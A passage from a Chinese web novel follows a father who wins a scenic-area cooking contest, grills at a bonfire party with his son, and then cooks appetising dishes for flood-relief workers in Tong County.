“调味还行，就是虾头都没剪，影响观感还不入味。” “蒜蓉味不够香，虾线没抽……” 其他九位选手中，有两位做的其实还可以，但吃过楚易文做的清蒸小龙虾再吃他们的，评委们总感觉差点意思。 最终结果出来，其他选手根据总分数分出名次，楚易文则是以满分拿下第一名。 拿到第二名的选手有些失望，同时还有点不服气，觉得清蒸小龙虾怎么可能会比自己做的麻辣小龙虾更好吃。 “我不服，除非让我尝尝。” 主持人听到第二名的话，看向楚易文：“正好还剩不少小龙虾，这位厨王你愿不愿意再做点请在场游客们品尝一下？” “行。” 楚易文想到儿子刚刚说没吃够，直接答应下来，转头去处理小龙虾。 主持人见此，觉得刚刚那个蒸盘太小，特意找人去拿了个和大锅相配的大蒸盘过来。 其他灶台前没用完的食材全被收集过来，大火烧开水后，楚易文依旧先用姜片和葱结在蒸盘上铺满一层，随即将小龙虾一只只放上去，最后淋上料酒。 盖上锅盖开始大火猛蒸时，他这次不光调了姜醋汁，还用其他选手没用完的食材调了个香辣汁。 这次虾蒸得多，当香味飘出来时那股鲜甜香更加浓郁，光闻着就能馋死个人。 第一锅虾出来时，直接装了满满一大盆，在楚易文重新蒸第二锅时，灶台边的其他选手和评委们近水楼台先得月，直接上手就开始吃。 他爸辛苦做的，在比赛已经结束的情况下，楚瑾钰自然不会客气，伸手就抓起好几个，剥出来第一只虾时不忘先蘸点调料塞他爸嘴里去。 咀嚼着儿子投喂过来的小龙虾，楚易文唇角不自觉上扬。 围栏内大家哐哐吃着小龙虾时，围栏外的游客发出抗议的声音：“你们别光顾着自己吃啊！” 还有游客则是冲里面喊着自家人：“爷爷，爷爷给我拿点小龙虾！” “甜甜！甜甜！爸爸也要吃小龙虾！” “甜甜……” 外面声音太吵，爸爸喊时甜甜还没注意，听到妈妈温柔的声音，她立刻转头看过去，随即一手抓着一只小龙虾跑过去。 “甜甜真棒，你再去多拿点，你就负责拿，爸爸帮你剥。” 旁边有游客看到夫妻二人手里的小龙虾很是眼馋，对着小家伙道：“甜甜小宝贝，帮姐姐也拿一个好不好？” “好~” 甜甜还挺乐于助人，说完就跑回去，伸手从盆里抓起好几只小龙虾。 看到她还会帮别人拿小龙虾，其他游客纷纷开始喊起她来，一时间到处都是人在喊“甜甜”，搞得小家伙简直要忙死。 而灶台旁，一群人吃着吃着，主持人发现就数第二名选手吃得最快最多，忍不住道：“你刚刚说不服，是不是就为了吃小龙虾？” 第二名压根不理他，埋头苦吃，完全是一副少吃一个虾都是亏了的模样。 等到第二锅虾出来时，主持人总算听见外面游客喊他的声音，没好意思继续吃，而是端着盆走到围栏边开始分给游客们品尝。 “好鲜的虾啊！明明是蒸出来的，竟然一点都不腥！” “才知道原来蒸虾那么好吃！我以前竟然错过这种美食！” “好鲜活的滋味，鲜活到总感觉虾尾会在嘴巴里弹我两下。” “这个姜醋汁真是绝了！明明姜和醋都是我平常不爱的东西，但组合在一起竟然这么香。” “香辣汁配小龙虾更香……” 楚易文将剩下的小龙虾全部做完，在场的人不说吃尽兴，但好歹每个人都有尝到，吃得那叫一个赞不绝口。 随着活动结束，楚瑾钰成功拿到自己想要的奖品，那把超帅的木剑，另外楚易文还得到一个“厨王”的牌子，让他感觉还挺有意思。 就在他拿到奖牌那瞬间，系统声响起【叮~恭喜宿主获得厨王称号，奖励家常菜谱合集。】 楚易文没想到还有意外收获，心情瞬间就愉悦起来，感觉刚刚那么多虾没有白做。 在他领取奖牌时，好多游客过来问他是不是卖小龙虾的，得到否定回答后，纷纷建议他开个店卖小龙虾。 “现在正是吃小龙虾的季节，凭你的手艺，开个店卖小龙虾生意肯定火爆！” 还有游客甚至主动提出，如果他是资金方面有问题，自己愿意跟他合作。 楚易文拒绝游客们的好意，表示自己没有开店的想法后，游客们只能失望地离开。 就在父子二人也准备走时，主持人拿着两套景区纪念品过来，说是楚易文刚刚做那么多小龙虾辛苦了，送给他们留念，同时邀请他们参加景区晚上的篝火烧烤晚会。 烧烤晚会本身是要收门票的，毕竟有烧烤食材，不可能让游客们免费吃。不过主持人主动邀请，那自然不会要钱，他直接给了楚易文父子二人两张票。 楚易文接过票向他道谢，随即才领着儿子回酒店休息。 他们订的酒店就在景区内，来回很方便，刚到房间楚瑾钰就开视频跟胡一齐他们炫耀起来。 “你太过分了！” 由于楚瑾钰吃小龙虾时把视频挂断，此时视频重新接通，胡一齐直接指责。 楚瑾钰无视他的话继续炫耀：“看，我的剑帅不帅？还有这个，是主持人送的……” 木剑确实很帅，景区纪念品也很有意思，不过看到他嘚瑟的表情，别说胡一齐，就是商时贸二人都不想理他。 在看到“厨王”奖牌时，三人纷纷扯着嗓子喊：“楚爸你真厉害！” “我就知道楚爸出马，妥妥的碾压局。” “楚爸，我觉得厨王都配不上你，应该是厨神。” 楚易文听到三个孩子的声音，笑着走到镜头前跟他们聊了会。 夏天太阳落山比较晚，七点时天还没全黑，跟叶其林他们打完视频，父子二人在酒店内简单吃点东西，便开始等待晚上的篝火烧烤晚会。 晚会是八点半开始，八点左右时，父子二人从酒店出门，此时温度没有白天那么热，偶尔晚风吹过来，还挺凉爽。 他们到达篝火广场时，火堆早就升起，许多工作人员正常将食材摆放到长桌上。 露天广场上篝火、小帐篷、小彩灯、音箱、以及不少装饰品，整体氛围感瞬间就上来。 “感觉还不错。” 楚瑾钰观察环境时，楚易文却是在看长桌上的食材，发现食材不多品质多高档，至少都挺新鲜，心里暗暗点头。 很快参与今晚烧烤晚会的游客们就陆续过来，随着人越来越多，周围立刻就热闹起来。 楚易文对跳舞没兴趣，在主持人宣布晚会正式开始时，他直接坐下来开始烧烤。 烧烤技能是他前两天跟儿子逛夜市时，在烧烤摊上点亮，当天晚上他就在系统厨房里学会，现在正好用上。知道自家儿子爱吃肉串，他先将牛肉串、羊肉串各拿一把，刷上油放到烤网上。 跟他一样选择先烧烤的游客不少，还有很多人则是已经在音乐声中围着篝火开始跳舞。 楚瑾钰本来只是站在旁边围观，结果很快被热情的游客拉进圈子里，于是很快就融入这热烈的舞蹈氛围中。 楚易文边给手中手串翻面，边时不时抬头，在看到儿子跟着人群跳舞时，不由拿出手机拍两张照片才继续开始烧烤。 炭火的高温下，肉串的油脂很快被烤出来，脂香伴随滋滋的油声飘出来，还没撒调料已经有几分诱人。 等到肉串表面已经被烤焦，楚易文将调料依次撒上去，辣椒面、孜然、五香粉的香味瞬间被高温激发出来，与肉香混在一起，组成股特别诱人的烧烤香。 “好香啊！” 周围的游客顺着香味看过来，就看到烤网上被烤得滋滋冒油的肉串，肉串表面均匀撒着调料，光看着就感受到它表面的焦脆。 “楚瑾钰！” 楚易文察觉到周围人垂涎欲滴的眼神，但他第一次在现实中做烧烤，肯定得让儿子先尝尝。 楚瑾钰耳朵还挺好，明明现场音乐声和人声特别吵，他还是听见他爸的声音，转头看过去，就见他爸手里举着一大把卖相诱人的烤串。 他下意识吞咽一下口水，随即松开手从人堆里跑出去，直奔他爸而去。 “给。”看到儿子过来，楚易文直接将肉串递出去。 楚瑾钰接过烤串分出一半递回去：“爸你也吃。” 炭火烤出来的肉串那叫一个香，他分完肉串就迫不及待开始吃，外焦里嫩的牛肉串香得他咀嚼速度不自觉加快，感受着孜然、辣椒粉等烧烤料的复合香气在味蕾上蔓延开来，觉得这比在外面吃的烧烤更加美味。 “叔叔，你烤的肉串真香，为什么我烤出来就那么黑？” 旁边有游客被香味给诱惑到，忍不住举着自己手里的烤串请教。 “注意翻面时间，如果一面烤太长就容易焦。”楚易文说完，见对方目不转睛望着自己手里的肉串，干脆递过去两根。 “谢谢叔叔！太好吃了，外焦里嫩，比外面卖的烧烤还香！”拿到烧烤的游客吃着肉串，好吃到直晃脑袋。 楚易文两口解决手里剩下的肉串，随即又拿了鸡翅、五花肉、玉米串、鸡爪过来烤。 跟其他游客比起来，他给食材刷油、翻面、撒调料的手法显得特别游刃有余，那熟练的手法，不慌不忙的姿态，特别有大师风范。 “真羡慕你。” 有年轻人望着楚瑾钰，不由发出羡慕的声音，也不知是羡慕他有个这么会做烧烤的爸爸，还是羡慕他这个年纪还有爸爸带着出来旅游，而且他爸爸看起来就不是那种扫兴的家长。 楚瑾钰对上周围人羡慕的眼神，很是大方地分了点烧烤出去。 有个小朋友分到串烤鸡翅，金黄油亮的烤翅表皮特别焦，咬上去时甚至发出“咔嚓”声，好吃到小朋友用另外一只手捧脸。 烧烤的魅力不光在于吃，亲手烤制中的烟火气同样很有乐趣，楚易文见儿子和周围来自五湖四海的游客边吃边聊，气氛很是愉悦，边含笑听着，边为他们提供烧烤。 五花肉的油脂滴到炭火上，发出“滋啦”声，升腾的白烟中瞬间带着炭火气息和霸道的油脂香飘出来，钻进周围人鼻子里。 由于楚易文父子二人很好说话，周围吸引过来不少蹭烧烤的游客，现在食材都不用楚易文亲自去拿，自然有人负责拿过来。 “叔叔，给你果茶。” 当然，大家也不白吃，有人贡献小风扇给他吹，有人给他拿水喝，还有人负责提供情绪价值。 幸好今晚烧烤晚会加工作人员一起也就五十人不到，楚易文倒是勉强能忙得过来。 当一大把五花肉烤好，大家自觉的先给他留两串，再等楚瑾钰先拿，随即才开始抢。 “唔，好香的五花肉！尤其是边缘这部分，又焦又香！” 肥肉部分多余油脂被烤出来，整体吃起来香而不腻，焦脆又不会太硬。炭烤的烟熏香、五花肉的焦香和肉香、烧烤料的复合香气，组成令人惊艳的美味。 “你不是说要减肥？还敢吃五花肉？” “太好吃了，什么减肥不减肥的，吃完再说。” 在一群嗷嗷待哺的游客们的关注下，楚易文一次烤的食材越来越多，即便如此，他还是能把握好火候和调料的配比。 “你太厉害了！” 游客们忍不住为他鼓掌时，有个带着吉他的青年开口道：“叔叔，有没有想听的歌？” 楚易文闻言随便点了首老歌，没想到他还真会。 “道不尽红尘奢恋，诉不完人间恩怨……” 老歌的韵味不会随着时代的变化而消失，随着音乐声响起，周围游客们都不自觉轻轻拍打着节奏。 楚瑾钰喜欢这种氛围，不由拿出手机开始记录留念。 一曲歌结束，楚易文手上烧烤正好也烤得差不多，他笑着对唱歌的青年道：“很好听，来，看看你想吃什么。” 本来还挺有文艺青年范的人嗅着那股诱人的烧烤香，瞬间就接地气起来：“谢谢叔叔，我想要烤大虾、玉米、烤鸡爪。” 楚易文闻言，直接将他要的几样烧烤递过去。 旁边有位和他年纪相仿的游客见此，立刻开口道：“我也会唱歌！兄弟你还想听什么歌？” 接下来一群人唱歌跳舞吃烧烤，气氛好得不能再好，甚至有人就着烧烤喝了几杯酒后，开始分享自己的故事。 第57章 酸辣土豆丝 刚开始还只是个别上头的人分享自己的悲伤往事, 说着说着就变成八卦大会，大家分享着自己身边的奇葩事和奇葩人。 楚瑾钰以前不太理解为什么有人那么爱吃瓜，看到点热闹就非要过去凑, 此时身处瓜田中，听着以前闻所未闻的各种奇葩事，简直大开眼界，同时越听越起劲。 “然后呢？”他也不白听，不但会接话，还时不时将自己手里烧烤分两串出去。 玉米串被烤得表皮微微焦，内里依旧带着食材本身的清甜, 外焦里脆嫩，咸鲜香辣的滋味和食材本身的清甜融合，简直不要太好吃。 分享八卦的人三两口吃完烤玉米串, 随即才继续说：“然后那傻子就跟他老婆离婚了，离婚没多久，他所谓的好兄弟就娶了他前妻。” “不太可能吧, 嫁给前夫的兄弟多尴尬啊。” “一看你就没谈过恋爱，那男的边挑拨夫妻关系, 边趁女的伤心时过去安慰，趁虚而入之下，能娶到老婆不是很正常。” “这算什么，我们那有个更离谱的……” 楚易文听着各种八卦做着烧烤, 几乎是他烤多少，就能被吃多少，那股浓郁的香味，直接让原本还自己动手做烧烤的游客通通选择放弃。 没办法，真不是他们懒, 主要是吃过美味后再吃自己烤的，他们有种浪费食材的感觉。 何止游客们，到后来就连工作人员都忍不住过来蹭吃，甚至主动给加了不少食材。 晚上没有那么热，加上游客们特别积极地提供小风扇，冷饮，楚易文坐在烤炉前感觉倒是还好。他麻利地做着烧烤，很快就将食材消耗得差不多。 “最后两把羊肉串。” 肥瘦相间的羊肉串被烤得滋滋冒油，撒上调料后，星星点点的调料落在肉表面，肉香、焦香、调料的复合香气以及炭火特有的烟熏气，组成特别诱人的烧烤香。 小烧烤吃着，小酒小饮料喝着，桌上还有水果和零食，在场游客包括楚瑾钰在内，其实都已经吃饱，有人甚至被撑着。 不过在楚易文将最后两大把羊肉串放到盘子里时，一帮人还是纷纷伸手去抢。 “今天晚上真是来得太值了，这顿烧烤吃得真爽快！”拿到羊肉串的游客大口咀嚼着，眼睛都享受地半眯起来。 “确实，这是我这辈子吃过最香的烧烤！” “感觉等很多年后想起来，我还会想念今晚这顿烧烤。” 游客们纷纷发出感叹，随即有人提出一起拍张合照。 暖色的篝火下，大家以楚易文为中心靠在一起，每个人脸上都露出灿烂的笑容，个别人嘴角甚至还沾着没来得及擦的烧烤调料。 “茄子~” 随着快门声落下，今晚的美好被永远记录下来。 * 次日，楚易文父子二人开车前往下个目的地。这天他们一起体验了溶洞探险、漂流、户外射箭等活动，等结束整天的行程回到酒店时，楚瑾钰已经躺在床上不想动弹。 没办法，谁让他今天在漂流时过于兴奋，跟人打水仗时那叫一个激烈，水瓢都舀破了。 “附近有条挺有名的小吃街，你确定晚上不出去了？”楚易文见他趴床上刷手机，连手都懒得动，拿下巴去划视频，感觉有点好笑。 楚瑾钰连连摇头：“不去。” 由于平常吃得太好，小吃街还真吸引不到他，毕竟在他看来，他爸随便做的烧烤都比外面烧烤摊要香。 确定他晚上不想再出门，楚易文将房门反锁好，随即靠坐在自己那张床上。 由于他视频账号底下，不少粉丝询问他最近为什么不发视频，是不是忘记账号密码，他干脆用手机剪了个旅游视频发出去。 就在他还在回复粉丝评论时，旁边床上，楚瑾钰忽然坐起来：“爸，你快看我分享给你的视频！” 楚易文有点疑惑，不过还是立刻点开他刚分享过来的视频，就看到洪水泛滥的场景。 “这是哪？怎么发那么大水？” 他话落，已经在评论区找到答案，才知道原来是桐县，他们计划的下个旅游地。 楚易文眉头不自觉皱起，并不是因为计划被打破而感到不高兴，而是想到在家搜攻略时看到的优美风景，再对比此时街道都被浑浊的水淹没，有些替桐县人民感到难受。 “这是三天前发生的事，我竟然现在才知道。”楚瑾钰看着视频发布的时间，又顺手点开几个相关视频，发现水灾挺严重，都淹到两层楼那么高。 今天一整天玩下来，除了有点累，父子俩都还挺高兴，然而此时刷着桐县水灾视频，他们却是瞬间都笑不出来。 楚瑾钰代入一下，想到要是自己家被淹成这样，那可真是太难受了，于是说：“爸，我看这个视频里说桐县需要物资，我可以把压岁钱捐过去吗？” “当然可以。”孩子有善心是好事，楚易文怎么可能会拒绝。 楚瑾钰又刷了一下视频评论区，忽然又改变主意：“爸，我看网友说捐款不一定能到需要帮助的人手上……” 楚易文闻言直接查了下桐县最新情况，发现现在洪水已经开始退去，进入救灾抢险模式，思索片刻后道：“正好离得不算远，我们买点水、米面粮油和菜之类的直接送过去。” 原本他们就决定要去桐县，现在将旅游消费的钱直接送过去，也算是发挥更大的价值。 楚瑾钰点头：“好，我看到那边确实挺缺这些，好多农民都在自发地捐菜……” 商量好以后，父子二人很快就关灯休息，次日没有继续出去玩，而是找地方买物资。 得知他们是要给桐县捐物资，批发市场的老板不光只收成本价，甚至还送了不少，连货车司机都表示这趟不收钱，就当为灾区人民做贡献。 一切准备就绪，楚易文开着自家装满物资的越野车带着辆大货车直奔桐县。 桐县内此时水没有洪灾开始时那么高，但好多地方还有积水在，由于天气热，散发出难闻的味道。 来之前楚易文就查清楚，此时直接开车前往最近的后勤保障中心。 他们到桐县时已经是下午六点多，后勤保障中心里正忙得热火朝天，一群自发过来帮忙的民众在打包盒饭。 得知楚易文父子二人过来送物资，当地工作人员再三表示感谢后，请他们进里面休息，吃顿便饭再走。 “没什么好菜，你们别介意。” 楚易文本来是不想给他们添麻烦的，但现在在桐县，还真是有钱都找不到饭馆吃饭，于是点头答应下来。 “那麻烦你们了。” “麻烦什么，你们过来雪中送炭，我们感谢还来不及……” 后勤中心里，几张大锅还在不停炒菜，锅前站着的大厨热得不停拿脖子上挂的毛巾擦汗，看着就特别累。 得知楚易文父子是外地人，特意过来送物资，几个大娘热情地将两份盒饭递过来，边招呼他们吃饭边感谢他们。 视频里看到的始终没有亲身经历那么令人震撼，楚瑾钰望着后勤保障中心内忙忙碌碌的人，还有那一盆盆饭菜，以及还在不停炒菜，不停打包的人们，心里说不出来是什么感觉。 大锅菜味道想和小炒比，那必然不可能。不过出来旅游后总是把“这个还没爸你做的好吃”挂在嘴边的楚瑾钰此时倒是没说什么，握着筷子大口吃着饭菜。 饭盒里有两荤一素，辣椒炒肉、红烧鱼块和炒青菜，卖相和味道都比较一般，只能说不难吃。 父子二人边安静吃饭，边看着周围人忙活，很快就注意到正在灶台前甩胳膊的厨师。 “哎呦，炒不动了，跟我换把手。” 那位中年人话落，有个年轻人直接过去接力，握着铁锹继续翻炒锅里的菜。 楚易文开口询问才知道，在场炒菜、打包的都是自发过来帮忙的本地人，他们每天都要为救灾人员做上万份盒饭，可以说那几口大锅，全天都没怎么休息过。 就在他加快吃饭速度时，门外忽然传来热闹的声音，他竖起耳朵听了一下，才知道是一队救灾人员过来吃饭。 大部分盒饭都是直接送到现场给救灾人员，会直接过来吃饭的是离后勤保障中心比较近的。楚易文抬头看过去，就见救灾人员靴上带着泥巴，衣服被汗湿，脸上都带着疲倦的神色。 可能是觉得自己身上脏，他们不愿意进里面来吃，拿到盒饭直接在门口席地而坐。 “多吃点，不够我再给你们加。”分饭的大娘们看到这帮小伙子，跟看自家孩子一样，甚至比看自家孩子还要慈爱。 “不用，少给我点饭，吃不下。” “我也不要那么多。” “少给我点，吃不完浪费。” 灾后清淤不光累，很多复杂环境气味更是难闻，比如某些地下超市，食物腐烂后和淤泥混在一起，那味道简直能把人给熏晕。 还有不少狭窄的巷道，只能靠人力进去一点点清理，一整天下来，累得人已经感觉不到饿。 “消耗那么大，不多吃点饭怎么扛得住！” “是啊，你们都那么辛苦，得多吃点，不然身体要熬坏了。” “或者你们想吃什么菜？让厨师给现炒一个。” 面对大娘们的关心，累得连说话都有点费力的救灾人员只是摇头。 “爸，要不你给他们炒个菜？”楚瑾钰见门口那些穿着迷彩裤的救灾人员累得连饭都吃不下，忍不住看向自家父亲。 楚易文点点头，将餐盒里剩下两口饭菜吃完后起身去找刚刚接待他们的工作人员。 “你是厨师？这大锅菜可不好做，是个力气活，你看那边就知道了，炒菜用的都是铁锹。” 显然，楚易文高高瘦瘦的身形，跟灶台前那几个膀大腰圆的厨子比起来，让人实在不太信任他。 楚瑾钰：“我爸可是拿了厨王大赛第一名的，他做的菜特别好吃！” 对方并不知道所谓厨王大赛只是景区搞的一个小活动，听到“厨王”两个字感觉还挺有含金量，看楚易文的眼神都变得不同起来。 旁边有个大娘正为救灾人员吃不下饭而着急，想进来找找有没有开胃的小菜，听到他们对话立刻道：“小王，你就让他试试，反正晚饭已经做得差不多，空个锅出来也没什么问题。” “行吧。” 得到同意，楚易文直接从自己带过来的食材中拎出来一袋土豆，刚喊儿子帮忙削皮，结果几个大娘直接拿着削皮刀过来。 当然，楚瑾钰也没闲着，同样拿个削皮刀蹲下来帮忙一起给土豆削皮。 既然有人削土豆，楚易文拿个大盆装好水，随即开始切土豆丝。 “嚯，就这刀工，一看就专业！” 楚易文切土豆丝时刷刷刷刷，十几秒功夫就把个土豆切成均匀的细丝，动作快得令人震惊。土豆切好，他顺手将土豆丝抛入水盆中，继续开始切下一个。 发现四个人削土豆皮的速度还没他切得快，很快又有两个年轻人加入削土豆大军中。 楚易文准备做道开胃下饭的酸辣土豆丝，这道菜他之前给几个孩子做过，得到一致好评。 酸辣土豆丝想要好吃，首先切出来的丝的均匀，不能粗的粗，细的细，这样炒出来受热就不均匀。其次就是要在水里泡会，将淀粉泡出来，这样才会爽脆。 土豆丝切完，他顺手切了点蒜和葱，随即就开始往锅里倒油，干辣椒和蒜先爆出香味，随即放入葱白快速炒两下。 中小火将配菜香味炒出来后，楚易文转大火开始将土豆丝下锅快速翻炒。之前在老家时帮忙做过酒席，这种大铁锹他倒是没那么不顺手，很快就让每根土豆丝裹上油。 受热后，土豆丝从原本的黄色变得有些透明，楚易文将提前倒出来的醋沿着锅边淋入，随着“嗤啦”声响起，醋香被高温激发出来和土豆、干辣椒融在一起，散发出诱人的酸辣香。 之前老爷子就教过他，酸辣土豆丝两次“烹醋”时机很重要，楚易文第一次烹醋完美达成后，开始下入盐、生抽，以及一丢丢提鲜的糖，随即开始快速翻炒。 酸辣土豆丝是道快手菜，大火继续翻炒一分钟就差不多完成，出锅前，楚易文开始第二次烹醋，当醋再次顺着锅边淋下去，“嗤啦”一声，部分醋香被高温挥发，剩下的全留在菜里。 两次烹醋后，醋的酸香混着辣椒的辛辣和蒜香，再加入土豆本身的香气，还没吃就令人嘴里不自觉开始分泌津液。 同样的大锅菜，楚易文做出来香就算了，卖相更是没得说，晶莹剔透的淡黄色土豆丝根根分明，那均匀地细丝看着就很舒服，表面油润的光泽感配上里面夹杂的红辣椒、蒜片，更是让人特别有食欲。 “好香啊……” “妈呀，土豆丝怎么会这么香！” 随着香味越来越浓，周围的人都不自觉看过来，甚至很多原本不觉得饿的人，肚子都咕咕叫起来。 土豆属于常见食材，这几天后勤保障中心也做过不少土豆，但还是第一次发现，原来土豆丝可以炒得这么诱人。 “不愧是厨王，手艺真是绝了！”小王闻着酸辣土豆丝开胃诱人的香气，忍不住夸道。 楚易文已经将菜给打进盆里，听到这话赶紧解释：“孩子跟你开玩笑的，不是什么正经厨王，只是景区搞的小活动。” “叔你这水平，妥妥的厨王啊！这土豆丝简直能香死个人！”刚刚帮忙削土豆的某个年轻人夸完，握起双筷子就想尝两口，却被他伯母一巴掌拍在手背上，“去去去，你饿了吃盒饭去，别动这个。” 年轻人捂着手背，见刚刚炒菜的锅铲上还沾着几根土豆丝，直接用筷子夹进嘴里，那爽脆的口感，酸辣咸鲜的滋味，瞬间就将他胃口给打开，感觉自己现在能吃下一头牛。 他捡土豆丝吃时，他伯母端着盆酸辣土豆丝就往门口走，至于剩下那两盆，被其他人拿走去打包盒饭，准备送给其他救灾人员。 她们并不是不馋，只是想到那些来帮助她们的救灾人员，觉得最好的菜得留给他们吃。 楚易文做菜的香味是真诱人，明明旁边有个灶台还在炒肉，但他做的酸辣土豆丝却把肉香味都压下去。 随着大娘端着盆往外走，酸辣土豆丝那股开胃的香味飘到大门口，坐在地上没什么食欲，只凭本能往嘴里塞饭菜的救灾人员下意识抬起头。 “来，尝尝大厨给你们做的酸辣土豆丝。” 醋的酸香经过两次高温烹饪，闻起来简直不要太开胃，救灾人员们还没开始吃就感觉食欲上来几分，道谢后纷纷往碗里夹菜。 土豆丝入嘴，咀嚼间发出清脆的“咔嚓”声，那极致的爽脆像是会在牙齿间弹跳一样，口感特别好。与此同时，纯正中透着几分活泼的酸味在味蕾上蔓延开来，紧接着是自干辣椒的辣意，土豆本身的清甜…… “太好吃了！” “酸酸辣辣的，又好吃又开胃。” “我还是头一次吃这么好吃的酸辣土豆丝。” “我妈也会做酸辣土豆丝，不过这个比我妈做的还要香。” 少许糖的加入柔和酸辣，盐为土豆丝带来的咸鲜和酸辣味完美结合，咀嚼间还能尝到蒜香、葱香，整道菜不光开胃，味道更是特别有层次感。 这道菜刚出锅时最美味，食材本身的爽脆配上绝佳的调味，简直让人越吃越香，越吃越开胃。 几筷子酸辣土豆丝下肚，救灾人员们胃口渐渐被打开，扒饭菜的速度都不自觉变快。 看到他们吃得那么香，几个负责给他们分饭的大娘们脸上露出欣慰的表情，在有个青年最先吃完碗里饭时，立刻给他添上。 脸庞被晒得黝黑的青年露出个不好意思的笑容：“这土豆丝炒得真好吃，特别下饭。” “好吃就多吃点。”大娘说完又往他碗里再加一勺饭。 “够了够了。” 美食的意义不光是让人填饱肚子，还会让人心情变好。 原本累得连话都不怎么想说的救灾人员就着酸辣土豆丝干掉大半碗饭后，脸上精神都明显好不少，甚至有兴致聊天。 “大娘，咱们这难道来了什么星级酒店的大厨吗？” 大娘们还没来得及说话，不知什么时候过来的楚瑾钰先开口：“我爸不是酒店大厨，他只是单纯做饭好吃。” 救灾人员看向他，见他衣着干净整洁，整个人精神面貌完全没有经历过天灾的那种感觉，立刻猜到他应该不是本地人。 “我是云市的，暑假跟我爸出来旅游，本来准备到这里来玩，没想到……” 听到他和他爸是过来捐献物资的，救灾人员纷纷朝他伸出大拇指。 “你爸炒的菜真好吃，他平常在家经常给你做饭吗？” “对，基本上一天三餐都是他做。” “那你可真是有个好爸爸。” 闲聊间，楚瑾钰也知道他们救灾有多辛苦，待会吃完饭后，晚上还得加班加点干活。 他在外边跟人闲聊时，楚易文继续在里面炒第二锅酸辣土豆丝，而其他人则是开始将打包好的盒饭装车，送去给还在街上清淤的救灾人员。 “吃饭了！” 某条街道上，救灾人员听见喊自己吃饭的声音，终于可以停下来洗把脸休息一下，只是明明肚子其实早就饿了，但却感觉并没有什么食欲。 “队长，我不想吃饭。” “胡闹，不吃饱饭怎么有力气干活！都赶紧给我吃饭去！” 送饭的人闻言，赶紧开口道：“今晚有特别开胃下饭的酸辣土豆丝，你们快尝尝。” 救灾人员心里觉得现在就是吃龙肉都没滋味，不过人家辛苦送饭过来，还是赶紧表达感谢。 本来他们以为今晚又是勉强往肚子里塞饭菜的一餐，没想到盖子刚打开就闻见股特别诱人的酸辣香。那股酸香驱散走他们清淤时闻到的臭味，多闻两下，感觉食欲都有些上来。 第58章 蓑衣黄瓜 酸辣土豆丝本来就是道特别开胃的家常菜, 被楚易文做出来，更是又好吃又开胃。 对于辛苦一天的救灾人员来说，酸辣爽脆的土豆丝入口, 酸香和辣意刺激味蕾，整个人精神都变好几分，至少不像之前一样，到饭点时根本没食欲，只想倒下来躺会。 “土豆丝有点辣，不过真好吃，越吃越开胃！” 楚易文其实没有做特别辣, 但耐不住有人平常不怎么吃辣，多吃两口还是感觉辣味挺足。 “你吃不动给我，我不觉得辣。” 刚刚说辣的人立刻扭身躲开伸过来的筷子：“辣我也愿意吃, 又香又下饭，就着这个土豆丝我就能吃一碗米饭。” “确实好吃，看来后勤那边来新厨师了。” 很快, 送饭人员回到后勤中心，脸上都带着笑。 “晚上的饭他们都爱吃, 直夸土豆丝开胃。” “我这边也是，饭刚送过去时还有人喊没胃口，盖子掀开，他们吃得那叫一个香。” 救灾工作中, 后勤保障同样很重要，如果不能让一线救灾人员吃饱，那哪来的力气干活。 楚易文收到来自四面八方的夸赞和感谢，转头询问自家儿子的意见：“我想在这边留两天？你觉得怎么样？” “我没问题。” 让楚瑾钰像那些救灾人员一样不怕苦不怕累不怕脏他可能做不到，但他爸想留下来帮几天忙, 他不拖后腿还是能做到。 反正他们前面该玩都已经玩过，现在留在桐县尽些绵薄之力也挺有意义。父子俩达成共识，决定留下来参与到后勤工作中。 得知他们愿意留下来帮忙，大家纷纷鼓掌表示感谢。至于住宿地方，他们愿意为桐县出份力，桐县人自然不会差事，一堆本地人抢着邀请父子俩去自己家住。 不过最终为了能让楚易文父子住得舒心自在些，后勤保障中心负责人还是安排他们到最近的酒店住。 接下来的日子，楚易文发挥自己的厨艺，为救灾人员准备饭菜。由于他一个人能力有限，不可能做所有饭菜，他便尽量做些能让大家都吃到的开胃菜。 比如他带着不少人一起做酸萝卜片，做好后谁没食欲时都可以来点，吃起来绝对开胃。 早餐时，他会做香河肉饼、豆角焖面、绿豆粥，每样吃食都得到大家赞不绝口的夸奖。 午餐和晚餐时他根据当天的食材做红烧排骨、土豆烧鸡、啤酒鸭、青椒炒肉、醋溜荷包蛋、红烧鱼…… 自从他出现后，救灾人员瞬间就期待起饭点来，哪怕再苦再累，看到饭送过来时眼睛都能亮起来，猜测今天又有什么好吃的。 由于要让每个人都尽量尝到楚易文的手艺，所以打包的群众们都会特别注意，三个菜里至少打一个他做的。 “唔，这鸭子烧的真香，一吃就是厨王做的。” 啤酒鸭肉质酥烂不柴，吃起来特别入味，香料和酱汁的精华都被吸收进肉里，吃起来特别香，而且余味中还带着啤酒特有的麦芽香，明明是道肉菜，却吃起来特别爽口。 “我碗里也有，这是啤酒鸭吧？我吃出很淡的啤酒香，可真好吃！” “厨王就是厨王，做出来的菜真香！” 哪怕楚易文已经解释过，所谓厨王只是景区搞活动评出来的，但很快这个名声还是传出来。如今桐县救灾人员，几乎都知道后勤保障中心来了位厨王，他做的菜贼香，任你再没胃口，只要闻见他做的菜，保证食欲就上来。 “我碗里是土豆烧鸡，也特别好吃。” 土豆烧鸡滑嫩软烂，鸡肉轻轻一咬就脱骨，吃起来咸鲜浓郁，土豆吸收汤汁里的精华，吃起来比肉还香。 “我拿鸭肉跟你换一块鸡肉尝尝。” “行，哎，你换肉就换肉，夹我土豆干嘛？” “别那么小气！” “要土豆可以，你再给我块鸭肉。” “那不行，哎，你别抢啊！” 跟之前饭点时大家连话都不想说不同，现在用餐时明显要热闹不少，显然美食的抚慰让他们辛苦归辛苦，但好歹有点期盼。 新的一天，救灾工作还在继续，今天几队人一起来到塘下街附近，这里有好多小巷子，大型车辆根本无法进入，只能由人力推着小车进去清淤。 洪水退去留下一地淤泥，散发出难闻的异味。早上刚来时，年轻力壮的救灾队伍还很有精神，随着太阳逐渐升高，一个个身上衣服早就湿透，铲泥的动作都不自觉慢下来。 今天的任务就是要将塘下街附近全部清理完，队长看到他们缓下来的动作，不由开口鼓励。 中午吃过午饭，下午他们还得继续干活，下午天气非但没有凉快点，反而更加炎热，高温蒸腾下，地上还没来得及清理的淤泥变得更加难闻。 早上时，有人自己就能拉着辆装满淤泥的车送出巷子，到下午时，已经得一个人在前面拉，一个人在后面推，效率明显下降。 看出队员们确实已经很累，队长开始带着他们唱歌鼓劲。唱完歌喝完水，大家精神稍微提起来些，不过继续干半个多小时后，那股倦意重新涌上来。 